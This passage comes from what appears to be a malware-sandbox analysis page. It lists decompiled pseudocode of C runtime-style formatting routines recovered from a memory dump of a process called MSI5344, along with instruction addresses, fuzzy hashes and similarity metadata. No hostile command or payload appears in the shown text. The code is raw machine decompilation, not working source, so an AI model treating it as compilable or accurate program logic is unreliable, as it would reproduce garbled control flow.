				if (0 != 0) goto 0xaf71abc9;
				if (r15d != 1) goto 0xaf71ac00;
				_t285 = _t337 >> 1;
				_t422 = _t516 - _t337 >> 1;
				 *((long long*)(_t457 + _t513)) = _t519 + _t285 * 2;
				if (E00007FF77FF7AF714858(_t285, _t519 + _t285 * 2, _t422,  *_t457) != 0) goto 0xaf71af0d;
				_t287 = (_t285 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *_t457 + _t287 * 2)) != 0) goto 0xaf71ac07;
				if (_t419 + 1 - 7 < 0) goto 0xaf71abcc;
				_t459 = _t487 + 0x1d0;
				goto 0xaf71ac34;
				_t340 = _t337 + _t287 * 2 + 3;
				if (0 != 0) goto 0xaf71ac31;
				if (r15d != 1) goto 0xaf71ac68;
				_t289 = _t340 >> 1;
				_t425 = _t516 - _t340 >> 1;
				 *((long long*)(_t459 + _t513)) = _t519 + _t289 * 2;
				if (E00007FF77FF7AF714858(_t289, _t519 + _t289 * 2, _t425,  *_t459) != 0) goto 0xaf71af0d;
				_t291 = (_t289 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *_t459 + _t291 * 2)) != 0) goto 0xaf71ac6f;
				if (_t422 + 1 - 0xc < 0) goto 0xaf71ac34;
				_t461 = _t487 + 0x230;
				goto 0xaf71ac9c;
				_t343 = _t340 + _t291 * 2 + 3;
				if (0 != 0) goto 0xaf71ac99;
				if (r15d != 1) goto 0xaf71acd0;
				_t293 = _t343 >> 1;
				_t428 = _t516 - _t343 >> 1;
				 *((long long*)(_t461 + _t513)) = _t519 + _t293 * 2;
				if (E00007FF77FF7AF714858(_t293, _t519 + _t293 * 2, _t428,  *_t461) != 0) goto 0xaf71af0d;
				_t295 = (_t293 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *_t461 + _t295 * 2)) != 0) goto 0xaf71acd7;
				if (_t425 + 1 - 0xc < 0) goto 0xaf71ac9c;
				_t463 = _t487 + 0x290;
				goto 0xaf71ad04;
				_t346 = _t343 + _t295 * 2 + 3;
				if (0 != 0) goto 0xaf71ad01;
				if (r15d != 1) goto 0xaf71ad38;
				_t297 = _t346 >> 1;
				 *((long long*)(_t463 + _t513)) = _t519 + _t297 * 2;
				if (E00007FF77FF7AF714858(_t297, _t519 + _t297 * 2, _t516 - _t346 >> 1,  *_t463) != 0) goto 0xaf71af0d;
				_t299 = (_t297 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *_t463 + _t299 * 2)) != 0) goto 0xaf71ad3f;
				_t483 = _t428 + 1;
				if (_t483 - 2 < 0) goto 0xaf71ad04;
				goto 0xaf71ad62;
				_t349 = _t346 + _t299 * 2 + 3;
				if (0 != 0) goto 0xaf71ad5f;
				if (r15d != 1) goto 0xaf71ad9f;
				 *((long long*)(_t519 + 0x2a0)) = _t519 + (_t349 >> 1) * 2;
				if (E00007FF77FF7AF714858(_t349 >> 1, _t519 + (_t349 >> 1) * 2, _t516 - _t349 >> 1,  *((intOrPtr*)(_t487 + 0x2a0))) != 0) goto 0xaf71af0f;
				goto 0xaf71ada1;
				_t484 = _t483 | 0xffffffff;
				_t303 = _t484 + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t487 + 0x2a0)) + _t303 * 2)) != 0) goto 0xaf71adaf;
				goto 0xaf71adc5;
				_t352 = _t349 + _t303 * 2 + 3;
				if (0 != 0) goto 0xaf71adc2;
				if (r15d != 1) goto 0xaf71adfe;
				 *((long long*)(_t519 + 0x2a8)) = _t519 + (_t352 >> 1) * 2;
				if (E00007FF77FF7AF714858(_t352 >> 1, _t519 + (_t352 >> 1) * 2, _t516 - _t352 >> 1,  *((intOrPtr*)(_t487 + 0x2a8))) != 0) goto 0xaf71af0f;
				_t307 = _t484 + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t487 + 0x2a8)) + _t307 * 2)) != 0) goto 0xaf71ae08;
				goto 0xaf71ae1e;
				_t355 = _t352 + _t307 * 2 + 3;
				if (0 != 0) goto 0xaf71ae1b;
				if (r15d != 1) goto 0xaf71ae57;
				 *((long long*)(_t519 + 0x2b0)) = _t519 + (_t355 >> 1) * 2;
				if (E00007FF77FF7AF714858(_t355 >> 1, _t519 + (_t355 >> 1) * 2, _t516 - _t355 >> 1,  *((intOrPtr*)(_t487 + 0x2b0))) != 0) goto 0xaf71af0f;
				_t311 = _t484 + 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t487 + 0x2b0)) + _t311 * 2)) != 0) goto 0xaf71ae61;
				goto 0xaf71ae77;
				if (0 != 0) goto 0xaf71ae74;
				if (r15d != 1) goto 0xaf71aeac;
				 *((long long*)(_t519 + 0x2b8)) = _t519 + (_t355 + _t311 * 2 + 3 >> 1) * 2;
				_t165 = E00007FF77FF7AF714858(_t355 + _t311 * 2 + 3 >> 1, _t519 + (_t355 + _t311 * 2 + 3 >> 1) * 2, _t516 - _t355 + _t311 * 2 + 3 >> 1,  *((intOrPtr*)(_t487 + 0x2b8)));
				if (_t165 != 0) goto 0xaf71af0f;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t487 + 0x2b8)) + (_t484 + 1) * 2)) != 0) goto 0xaf71aeb6;
				r15d = r15d + 1;
				if (r15d - 2 < 0) goto 0xaf71a8a7;
				if ( *((intOrPtr*)(_t490 + 0x48)) == dil) goto 0xaf71aee7;
				 *( *((intOrPtr*)(_t490 + 0x30)) + 0x3a8) =  *( *((intOrPtr*)(_t490 + 0x30)) + 0x3a8) & 0xfffffffd;
				return _t165;
			}

0x7ff7af71a864
0x7ff7af71a864
0x7ff7af71a867
0x7ff7af71a86b
0x7ff7af71a86f
0x7ff7af71a873
0x7ff7af71a87c
0x7ff7af71a886
0x7ff7af71a88b
0x7ff7af71a892
0x7ff7af71a89a
0x7ff7af71a89d
0x7ff7af71a8a0
0x7ff7af71a8ab
0x7ff7af71a8b0
0x7ff7af71a8b5
0x7ff7af71a8bb
0x7ff7af71a8c9
0x7ff7af71a8ce
0x7ff7af71a8dc
0x7ff7af71a8df
0x7ff7af71a8e6
0x7ff7af71a8ef
0x7ff7af71a900
0x7ff7af71a90d
0x7ff7af71a914
0x7ff7af71a919
0x7ff7af71a91c
0x7ff7af71a927
0x7ff7af71a92b
0x7ff7af71a933
0x7ff7af71a93c
0x7ff7af71a94d
0x7ff7af71a95a
0x7ff7af71a961
0x7ff7af71a966
0x7ff7af71a969
0x7ff7af71a974
0x7ff7af71a978
0x7ff7af71a980
0x7ff7af71a989
0x7ff7af71a99a
0x7ff7af71a9a7
0x7ff7af71a9ae
0x7ff7af71a9b3
0x7ff7af71a9b6
0x7ff7af71a9c1
0x7ff7af71a9c5
0x7ff7af71a9d0
0x7ff7af71a9d9
0x7ff7af71a9ea
0x7ff7af71a9f7
0x7ff7af71a9fe
0x7ff7af71aa03
0x7ff7af71aa06
0x7ff7af71aa11
0x7ff7af71aa15
0x7ff7af71aa20
0x7ff7af71aa29
0x7ff7af71aa3a
0x7ff7af71aa47
0x7ff7af71aa4e
0x7ff7af71aa53
0x7ff7af71aa56
0x7ff7af71aa61
0x7ff7af71aa67
0x7ff7af71aa70
0x7ff7af71aa8a
0x7ff7af71aa90
0x7ff7af71aa9b
0x7ff7af71aaa2
0x7ff7af71aaa9
0x7ff7af71aaae
0x7ff7af71aab5
0x7ff7af71aabe
0x7ff7af71aad6
0x7ff7af71aae6
0x7ff7af71aaed
0x7ff7af71aaf2
0x7ff7af71aaf9
0x7ff7af71ab02
0x7ff7af71ab1a
0x7ff7af71ab2a
0x7ff7af71ab31
0x7ff7af71ab3d
0x7ff7af71ab45
0x7ff7af71ab4c
0x7ff7af71ab58
0x7ff7af71ab5f
0x7ff7af71ab61
0x7ff7af71ab67
0x7ff7af71ab6d
0x7ff7af71ab75
0x7ff7af71ab7b
0x7ff7af71ab82
0x7ff7af71ab92
0x7ff7af71ab9f
0x7ff7af71aba6
0x7ff7af71abbb
0x7ff7af71abc0
0x7ff7af71abc7
0x7ff7af71abc9
0x7ff7af71abcf
0x7ff7af71abd5
0x7ff7af71abdd
0x7ff7af71abe3
0x7ff7af71abea
0x7ff7af71abfa
0x7ff7af71ac07
0x7ff7af71ac0e
0x7ff7af71ac23
0x7ff7af71ac28
0x7ff7af71ac2f
0x7ff7af71ac31
0x7ff7af71ac37
0x7ff7af71ac3d
0x7ff7af71ac45
0x7ff7af71ac4b
0x7ff7af71ac52
0x7ff7af71ac62
0x7ff7af71ac6f
0x7ff7af71ac76
0x7ff7af71ac8b
0x7ff7af71ac90
0x7ff7af71ac97
0x7ff7af71ac99
0x7ff7af71ac9f
0x7ff7af71aca5
0x7ff7af71acad
0x7ff7af71acb3
0x7ff7af71acba
0x7ff7af71acca
0x7ff7af71acd7
0x7ff7af71acde
0x7ff7af71acf3
0x7ff7af71acf8
0x7ff7af71acff
0x7ff7af71ad01
0x7ff7af71ad07
0x7ff7af71ad0d
0x7ff7af71ad15
0x7ff7af71ad22
0x7ff7af71ad32
0x7ff7af71ad3f
0x7ff7af71ad46
0x7ff7af71ad4c
0x7ff7af71ad5b
0x7ff7af71ad5d
0x7ff7af71ad5f
0x7ff7af71ad65
0x7ff7af71ad6b
0x7ff7af71ad80
0x7ff7af71ad97
0x7ff7af71ad9d
0x7ff7af71ada8
0x7ff7af71adaf
0x7ff7af71adb6
0x7ff7af71adc0
0x7ff7af71adc2
0x7ff7af71adc8
0x7ff7af71adce
0x7ff7af71ade3
0x7ff7af71adf8
0x7ff7af71ae08
0x7ff7af71ae0f
0x7ff7af71ae19
0x7ff7af71ae1b
0x7ff7af71ae21
0x7ff7af71ae27
0x7ff7af71ae3c
0x7ff7af71ae51
0x7ff7af71ae61
0x7ff7af71ae68
0x7ff7af71ae72
0x7ff7af71ae7a
0x7ff7af71ae80
0x7ff7af71ae95
0x7ff7af71aea3
0x7ff7af71aeaa
0x7ff7af71aebd
0x7ff7af71aec3
0x7ff7af71aece
0x7ff7af71aed9
0x7ff7af71aee0
0x7ff7af71af07

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo$AllocHeap
String ID:
API String ID: 443252259-0
Opcode ID: 24b0ecfb26f9a6e7877248f12f3e3819b486dc07f36be4ab7ca8ee23a41060d3
Instruction ID: 86a4681541d2acb7c6fb9a48376f4dcbb81a941e1ee3f767deee012436f91b3a
Opcode Fuzzy Hash: 24b0ecfb26f9a6e7877248f12f3e3819b486dc07f36be4ab7ca8ee23a41060d3
Instruction Fuzzy Hash: C602F2B5F06ED640FF60EE2989041F9A395EB58BA4FD65231CE6E473F4DE38D40A8214

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF713424 Relevance: .3, Instructions: 339
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E00007FF77FF7AF713424(long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, void* __r10, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				short _v64;
				short _v68;
				signed short _v72;
				long long _v88;
				void* __rdi;
				signed int _t124;
				void* _t127;
				void* _t159;
				void* _t166;
				unsigned int _t167;
				signed char _t168;
				signed int _t179;
				signed short _t191;
				void* _t194;
				void* _t198;
				signed long long _t259;
				long long _t277;
				long long _t279;
				long long _t280;
				intOrPtr* _t282;
				intOrPtr _t286;
				intOrPtr* _t288;
				void* _t292;
				signed long long _t294;
				intOrPtr _t297;
				intOrPtr _t299;
				void* _t301;
				signed int* _t302;
				long long _t305;
				void* _t307;
				signed long long _t308;
				void* _t310;
				intOrPtr _t311;
				void* _t318;
				signed long long _t320;
				void* _t321;
				intOrPtr* _t323;

				_t310 = __r8;
				_t305 = __rbp;
				_t303 = __rsi;
				_t292 = __rdx;
				_t279 = __rcx;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t308 = _t307 - 0x50;
				_t259 =  *0xaf751030; // 0xa13e9e6732fb
				_v56 = _t259 ^ _t308;
				_t124 =  *(__rcx + 0x3a) & 0x0000ffff;
				_t277 = __rcx;
				_t6 = _t301 - 0x20; // 0x58
				_t191 = _t6;
				_t7 = _t301 - 0x77; // 0x1
				r12d = _t7;
				_t198 = _t124 - 0x64;
				if (_t198 > 0) goto 0xaf7134da;
				if (_t198 == 0) goto 0xaf71354b;
				if (_t124 == 0x41) goto 0xaf713558;
				if (_t124 == 0x43) goto 0xaf7134b7;
				if (_t124 - 0x44 <= 0) goto 0xaf713563;
				if (_t124 - 0x47 <= 0) goto 0xaf713558;
				if (_t124 == 0x53) goto 0xaf71350d;
				if (_t124 == _t191) goto 0xaf7134cd;
				if (_t124 == 0x5a) goto 0xaf7134c3;
				if (_t124 == 0x61) goto 0xaf713558;
				if (_t124 != 0x63) goto 0xaf713563;
				E00007FF77FF7AF713EE4(_t124 - 0x63, __rcx, __rcx, __rsi);
				goto 0xaf71355d;
				E00007FF77FF7AF7138F8(_t166, __rcx, __rcx, _t303);
				goto 0xaf71355d;
				_t127 = E00007FF77FF7AF71194C(r12b, __rcx, __rcx, _t292, _t303, __rbp, _t310, __r10);
				goto 0xaf71355d;
				if (_t127 - 0x67 <= 0) goto 0xaf713558;
				if (_t127 == 0x69) goto 0xaf71354b;
				if (_t127 == 0x6e) goto 0xaf713544;
				if (_t127 == 0x6f) goto 0xaf713524;
				if (_t127 == 0x70) goto 0xaf713514;
				if (_t127 == 0x73) goto 0xaf71350d;
				if (_t127 == 0x75) goto 0xaf71354f;
				if (_t127 != 0x78) goto 0xaf713563;
				goto 0xaf7134d0;
				E00007FF77FF7AF7140F4(__rcx, __rcx, _t303, _t305, _t318);
				goto 0xaf71355d;
				 *((intOrPtr*)(_t279 + 0x30)) = 0x10;
				 *((intOrPtr*)(_t279 + 0x34)) = 0xb;
				goto 0xaf7134cd;
				_t167 =  *(_t279 + 0x28);
				if ((r12b & _t167 >> 0x00000005) == 0) goto 0xaf713538;
				asm("bts ecx, 0x7");
				 *(_t277 + 0x28) = _t167;
				_t280 = _t277;
				E00007FF77FF7AF7111A4(0, _t277, _t280, _t292, _t303, _t305, _t310, __r10);
				goto 0xaf71355d;
				E00007FF77FF7AF713FA8(_t277, _t280);
				goto 0xaf71355d;
				 *(_t280 + 0x28) =  *(_t280 + 0x28) | 0x00000010;
				E00007FF77FF7AF711578(0, _t277, _t280, _t292, _t303, _t305, _t310, __r10);
				goto 0xaf71355d;
				if (E00007FF77FF7AF713BC0(0, 0x78, _t277, _t280, _t305) != 0) goto 0xaf71356a;
				goto 0xaf713855;
				if ( *((intOrPtr*)(_t277 + 0x38)) != bpl) goto 0xaf713852;
				_t168 =  *(_t277 + 0x28);
				_v68 = 0;
				_v64 = 0;
				r13d = 0x20;
				if ((r12b & 0) == 0) goto 0xaf7135c8;
				if ((r12b & 0) == 0) goto 0xaf7135aa;
				_v68 = _t321 + 0xd;
				goto 0xaf7135c5;
				if ((r12b & _t168) == 0) goto 0xaf7135b6;
				goto 0xaf7135a3;
				if ((r12b & 0) == 0) goto 0xaf7135c8;
				_v68 = r13w;
				_t294 = _t320;
				r8d =  *(_t277 + 0x3a) & 0x0000ffff;
				r10d = 0xffdf;
				if ((r10w & (r8w & 0xffffffff) - _t191) != 0) goto 0xaf7135ed;
				r9b = r12b;
				if ((r12b & 0) != 0) goto 0xaf7135f0;
				r9b = bpl;
				r15d = 0x30;
				if (r9b != 0) goto 0xaf71360a;
				if (0 == 0) goto 0xaf713629;
				 *((intOrPtr*)(_t308 + 0x34 + _t294 * 2)) = r15w;
				if (r8w == _t191) goto 0xaf71361d;
				if (r8w != 0x41) goto 0xaf713620;
				 *((short*)(_t308 + 0x36 + _t294 * 2)) = _t191 & 0x0000ffff;
				_t194 =  *((intOrPtr*)(_t277 + 0x2c)) -  *(_t277 + 0x48);
				if ((_t168 & 0x0000000c) != 0) goto 0xaf713696;
				r9d = 0;
				if (_t194 <= 0) goto 0xaf713696;
				_t311 =  *((intOrPtr*)(_t277 + 0x460));
				if ( *((intOrPtr*)(_t311 + 0x10)) !=  *((intOrPtr*)(_t311 + 8))) goto 0xaf713663;
				if ( *((intOrPtr*)(_t311 + 0x18)) == bpl) goto 0xaf71365b;
				goto 0xaf71365e;
				 *(_t277 + 0x20) =  *(_t277 + 0x20) + 0x00000001 | 0xffffffff;
				goto 0xaf713689;
				 *(_t277 + 0x20) = _t280 + 1;
				 *((intOrPtr*)(_t311 + 0x10)) =  *((intOrPtr*)(_t311 + 0x10)) + _t320;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t277 + 0x460)))))) = r13w;
				 *((long long*)( *((intOrPtr*)(_t277 + 0x460)))) =  *((long long*)( *((intOrPtr*)(_t277 + 0x460)))) + 2;
				if ( *(_t277 + 0x20) == 0xffffffff) goto 0xaf713696;
				r9d = r9d + r12d;
				if (r9d - _t194 < 0) goto 0xaf713640;
				_t302 = _t277 + 0x20;
				r8d = 0;
				_v88 =  *((intOrPtr*)(_t277 + 8));
				_t323 = _t277 + 0x460;
				_t282 = _t323;
				E00007FF77FF7AF71432C(_t280 + 1, _t194, _t277, _t282, _t303, _t305, _t302);
				if ((r12b & 0) == 0) goto 0xaf713722;
				if ((r12b &  *(_t277 + 0x28) >> 0x00000002) != 0) goto 0xaf713722;
				r8d = 0;
				if (_t194 <= 0) goto 0xaf713722;
				_t297 =  *_t323;
				if ( *((intOrPtr*)(_t297 + 0x10)) !=  *((intOrPtr*)(_t297 + 8))) goto 0xaf7136f9;
				if ( *((intOrPtr*)(_t297 + 0x18)) == bpl) goto 0xaf7136f2;
				goto 0xaf7136f5;
				 *_t302 =  *_t302 + 0x00000001 | 0xffffffff;
				goto 0xaf713715;
				 *_t302 = _t282 + 1;
				 *((intOrPtr*)(_t297 + 0x10)) =  *((intOrPtr*)(_t297 + 0x10)) + _t320;
				 *((intOrPtr*)( *((intOrPtr*)( *_t323)))) = r15w;
				 *((long long*)( *_t323)) =  *((long long*)( *_t323)) + 2;
				if ( *_t302 == 0xffffffff) goto 0xaf713722;
				r8d = r8d + r12d;
				if (r8d - _t194 < 0) goto 0xaf7136db;
				if ( *((intOrPtr*)(_t277 + 0x4c)) != bpl) goto 0xaf713804;
				if ( *(_t277 + 0x48) <= 0) goto 0xaf713804;
				_t322 =  *((intOrPtr*)(_t277 + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t277 + 8)) + 0x28)) != bpl) goto 0xaf71374c;
				E00007FF77FF7AF714210( *_t323, _t277,  *((intOrPtr*)(_t277 + 8)), _t297, _t303);
				r9d = 0;
				if ( *(_t277 + 0x48) == 0) goto 0xaf7137c9;
				_v72 = r9w;
				_t159 = E00007FF77FF7AF723E88( *_t302, 0, _t277,  &_v72,  *((intOrPtr*)(_t277 + 0x40)), _t302, _t303, _t305,  *((intOrPtr*)( *((intOrPtr*)(_t322 + 0x18)) + 8)),  *((intOrPtr*)(_t277 + 8)));
				r9d = 0;
				if (_t159 <= 0) goto 0xaf7137fe;
				_t286 =  *_t323;
				if ( *((intOrPtr*)(_t286 + 0x10)) !=  *((intOrPtr*)(_t286 + 8))) goto 0xaf7137a4;
				if ( *((intOrPtr*)(_t286 + 0x18)) == r9b) goto 0xaf71379e;
				 *(_t277 + 0x20) =  *(_t277 + 0x20) + r12d;
				goto 0xaf7137bc;
				 *(_t277 + 0x20) =  *(_t277 + 0x20) | 0xffffffff;
				goto 0xaf7137bc;
				 *(_t277 + 0x20) =  *(_t277 + 0x20) + r12d;
				 *((intOrPtr*)(_t286 + 0x10)) =  *((intOrPtr*)(_t286 + 0x10)) + _t320;
				 *((short*)( *((intOrPtr*)( *_t323)))) = _v72 & 0x0000ffff;
				 *((long long*)( *_t323)) =  *((long long*)( *_t323)) + 2;
				if (0 + r12d !=  *(_t277 + 0x48)) goto 0xaf713757;
				r13d = 0x20;
				_t179 =  *_t302;
				if (_t179 < 0) goto 0xaf713852;
				if ((r12b & 0) == 0) goto 0xaf713852;
				r8d = 0;
				if (_t194 <= 0) goto 0xaf713852;
				_t299 =  *_t323;
				if ( *((intOrPtr*)(_t299 + 0x10)) !=  *((intOrPtr*)(_t299 + 8))) goto 0xaf713829;
				if ( *((intOrPtr*)(_t299 + 0x18)) == bpl) goto 0xaf713822;
				goto 0xaf713825;
				 *(_t277 + 0x20) =  *(_t277 + 0x20) | 0xffffffff;
				goto 0xaf7137c7;
				r8d =  *(_t277 + 0x48);
				_t288 = _t323;
				_v88 =  *((intOrPtr*)(_t277 + 8));
				E00007FF77FF7AF71432C( *(_t277 + 0x28) >> 2, _t194, _t277, _t288, _t303, _t305, _t302);
				goto 0xaf7137cf;
				 *_t302 = _t179 + 0x00000001 | 0xffffffff;
				goto 0xaf713845;
				 *_t302 = _t288 + 1;
				 *((intOrPtr*)( *((intOrPtr*)(_t277 + 0x40)) + 0x10)) =  *((intOrPtr*)( *((intOrPtr*)(_t277 + 0x40)) + 0x10)) + _t320;
				 *((intOrPtr*)( *((intOrPtr*)( *_t323)))) = r13w;
				 *((long long*)( *_t323)) =  *((long long*)( *_t323)) + 2;
				if ( *_t302 == 0xffffffff) goto 0xaf713852;
				r8d = r8d + r12d;
				if (r8d - _t194 < 0) goto 0xaf7137e7;
				return E00007FF77FF7AF708B70(r12b,  *_t302, _v56 ^ _t308);
			}

0x7ff7af713424
0x7ff7af713424
0x7ff7af713424
0x7ff7af713424
0x7ff7af713424
0x7ff7af713424
0x7ff7af713429
0x7ff7af71342e
0x7ff7af71343c
0x7ff7af713440
0x7ff7af71344a
0x7ff7af71344f
0x7ff7af713458
0x7ff7af71345b
0x7ff7af71345b
0x7ff7af71345e
0x7ff7af71345e
0x7ff7af713462
0x7ff7af713466
0x7ff7af713468
0x7ff7af713472
0x7ff7af71347c
0x7ff7af713482
0x7ff7af71348c
0x7ff7af713496
0x7ff7af71349b
0x7ff7af7134a1
0x7ff7af7134a7
0x7ff7af7134b1
0x7ff7af7134b9
0x7ff7af7134be
0x7ff7af7134c3
0x7ff7af7134c8
0x7ff7af7134d0
0x7ff7af7134d5
0x7ff7af7134de
0x7ff7af7134e4
0x7ff7af7134ea
0x7ff7af7134f0
0x7ff7af7134f6
0x7ff7af7134fc
0x7ff7af713502
0x7ff7af713507
0x7ff7af71350b
0x7ff7af71350d
0x7ff7af713512
0x7ff7af713514
0x7ff7af71351b
0x7ff7af713522
0x7ff7af713524
0x7ff7af71352f
0x7ff7af713531
0x7ff7af713535
0x7ff7af71353a
0x7ff7af71353d
0x7ff7af713542
0x7ff7af713544
0x7ff7af713549
0x7ff7af71354b
0x7ff7af713551
0x7ff7af713556
0x7ff7af713561
0x7ff7af713565
0x7ff7af71356e
0x7ff7af713574
0x7ff7af713579
0x7ff7af713580
0x7ff7af713585
0x7ff7af713593
0x7ff7af71359d
0x7ff7af7135a3
0x7ff7af7135a8
0x7ff7af7135ad
0x7ff7af7135b4
0x7ff7af7135bd
0x7ff7af7135bf
0x7ff7af7135c5
0x7ff7af7135c8
0x7ff7af7135cd
0x7ff7af7135de
0x7ff7af7135e2
0x7ff7af7135eb
0x7ff7af7135ed
0x7ff7af7135f4
0x7ff7af713604
0x7ff7af713608
0x7ff7af71360a
0x7ff7af713614
0x7ff7af71361b
0x7ff7af713620
0x7ff7af71362e
0x7ff7af713634
0x7ff7af713636
0x7ff7af71363b
0x7ff7af713640
0x7ff7af71364f
0x7ff7af713655
0x7ff7af713659
0x7ff7af71365e
0x7ff7af713661
0x7ff7af713666
0x7ff7af713669
0x7ff7af713677
0x7ff7af713682
0x7ff7af71368c
0x7ff7af71368e
0x7ff7af713694
0x7ff7af71369a
0x7ff7af71369e
0x7ff7af7136a1
0x7ff7af7136a6
0x7ff7af7136b0
0x7ff7af7136b8
0x7ff7af7136c8
0x7ff7af7136d0
0x7ff7af7136d2
0x7ff7af7136d7
0x7ff7af7136db
0x7ff7af7136e6
0x7ff7af7136ec
0x7ff7af7136f0
0x7ff7af7136f5
0x7ff7af7136f7
0x7ff7af7136fc
0x7ff7af7136fe
0x7ff7af713708
0x7ff7af71370f
0x7ff7af713718
0x7ff7af71371a
0x7ff7af713720
0x7ff7af713726
0x7ff7af713731
0x7ff7af713737
0x7ff7af71373f
0x7ff7af713744
0x7ff7af713750
0x7ff7af713755
0x7ff7af713760
0x7ff7af713771
0x7ff7af713776
0x7ff7af71377e
0x7ff7af713780
0x7ff7af713790
0x7ff7af713796
0x7ff7af713798
0x7ff7af71379c
0x7ff7af71379e
0x7ff7af7137a2
0x7ff7af7137a4
0x7ff7af7137a8
0x7ff7af7137b2
0x7ff7af7137b8
0x7ff7af7137c5
0x7ff7af7137c9
0x7ff7af7137cf
0x7ff7af7137d3
0x7ff7af7137de
0x7ff7af7137e0
0x7ff7af7137e5
0x7ff7af7137e7
0x7ff7af7137f2
0x7ff7af7137f8
0x7ff7af7137fc
0x7ff7af7137fe
0x7ff7af713802
0x7ff7af71380b
0x7ff7af71380f
0x7ff7af713816
0x7ff7af71381b
0x7ff7af713820
0x7ff7af713825
0x7ff7af713827
0x7ff7af71382c
0x7ff7af71382e
0x7ff7af713838
0x7ff7af71383f
0x7ff7af713848
0x7ff7af71384a
0x7ff7af713850
0x7ff7af71387f

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d1b08bf9a0ad2d05c065c970ab7a529e24b6f12af257cd14a87d7f4547fb27a
Instruction ID: 22fac79745cd60154b5127def6dd16a203056348c6776c3547838da9786b6a22
Opcode Fuzzy Hash: 7d1b08bf9a0ad2d05c065c970ab7a529e24b6f12af257cd14a87d7f4547fb27a
Instruction Fuzzy Hash: D1D1DC7A90AA8282EBA4AF1580405BDB7A0FF0CF44FD64135DE4D473B4DF29E859C758

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF720DB4 Relevance: .3, Instructions: 309
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7AF720DB4(void* __rcx, long long __rdx, long long __r8, void* __r9) {
				void* _t12;
				signed long long _t15;
				void* _t25;
				void* _t26;
				signed long long _t27;

				_t25 = _t26 - 0x168;
				_t27 = _t26 - 0x268;
				_t15 =  *0xaf751030; // 0xa13e9e6732fb
				 *(_t25 + 0x150) = _t15 ^ _t27;
				r15d = 0;
				 *((long long*)(_t27 + 0x70)) = __r8;
				 *((long long*)(_t27 + 0x78)) = __rdx;
				 *((long long*)(_t27 + 0x30)) =  *((intOrPtr*)(_t25 + 0x1d0));
				 *((long long*)(_t27 + 0x68)) =  *((intOrPtr*)(_t25 + 0x1d8));
				if (__rcx != 0) goto 0xaf720e3c;
				return E00007FF77FF7AF708B70(0, _t12,  *(_t25 + 0x150) ^ _t27);
			}

0x7ff7af720dc1
0x7ff7af720dc9
0x7ff7af720dd0
0x7ff7af720dda
0x7ff7af720de8
0x7ff7af720df5
0x7ff7af720dfd
0x7ff7af720e05
0x7ff7af720e0d
0x7ff7af720e15
0x7ff7af720e3b

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue_invalid_parameter_noinfo
String ID:
API String ID: 4023145424-0
Opcode ID: 21e2b8a45f615bd13f8c59fb0863361a43752376594acb69df5f076893cc55b2
Instruction ID: d88d5c8b198aff52fc818c6925cbd38746d22741163f91c453b88c3d43b55655
Opcode Fuzzy Hash: 21e2b8a45f615bd13f8c59fb0863361a43752376594acb69df5f076893cc55b2
Instruction Fuzzy Hash: 53C1E829B0A6C245EB70AB619C103FEA7A0FB98788FC25035DE4D476A5EF7CD545C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7150CC Relevance: .3, Instructions: 283
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 90%

